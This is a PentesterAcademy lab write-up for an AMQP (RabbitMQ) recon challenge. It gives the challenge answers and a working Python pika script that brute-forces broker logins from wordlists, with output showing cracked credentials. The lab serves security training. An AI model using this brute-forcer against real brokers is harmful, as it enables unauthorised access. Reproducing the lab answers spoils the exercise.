
ATTACK
DEFENSE
by PentesterAcademy

Name	Basic Recon and Interaction
URL	https://www.attackdefense.com/challengedetails?cid=559
Type	IOT : AMQP

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. What is the password of the default administrator user ?

Answer: bubbles1

Q2. There is another user present on the system with access rights to vhost / , what are the credentials of that user?

Answer: admin:chicago

Solution

Custom script to perform dictionary attack:

```
import pika

target="192.252.83.3"
user_list="/usr/share/wordlists/metasploit/unix_users.txt"
pass_list="/root/wordlists/100-common-passwords.txt"

with open(user_list, "r") as ins:
    for username in ins:
            with open(pass_list, "r") as ins:
                for password in ins:
                    username=username.rstrip()
                    password=password.rstrip()
                    credentials = pika.PlainCredentials(username, password)
```

```
                parameters = pika.ConnectionParameters(target, 5672, '/', credentials)
                try:
                        connection = pika.BlockingConnection(parameters)
                        print("[+] Success. User: " + username + " --- Password: " + password)
                except Exception as e:
                        #print("[-] Connection refused: " + username + " : " + password)
                        continue

print("[+] Brute force finished")
```

```
root@attackdefense:~# cat brute.py
import pika

target="192.252.83.3"
user_list="/usr/share/wordlists/metasploit/unix_users.txt"
pass_list="/root/wordlists/100-common-passwords.txt"

with open(user_list, "r") as ins:
    for username in ins:
                with open(pass_list, "r") as ins:
                        for password in ins:
                                username = username.rstrip()
                                password = password.rstrip()
                                credentials = pika.PlainCredentials(username, password)
                                parameters = pika.ConnectionParameters(target, 5672, '/', credentials)
                                try:
                                        connection = pika.BlockingConnection(parameters)
                                        print("[+] Success. User: " + username + " --- Password: " + password)
                                except Exception as e:
                                        #print("[-] Connection refused: " + username + " : " + password)
                                        continue

print("[+] Brute force finished")
root@attackdefense:~#
```

Performing dictionary attack:

Command: python brute.py

```
root@attackdefense:~#
root@attackdefense:~# python brute.py
[+] Success. User: admin --- Password: chicago
[+] Success. User: guest --- Password: bubbles1
[+] Brute force finished
root@attackdefense:~#
```

References:

1. RabbitMQ (https://www.rabbitmq.com/)
2. pika (https://pika.readthedocs.io/en/stable/)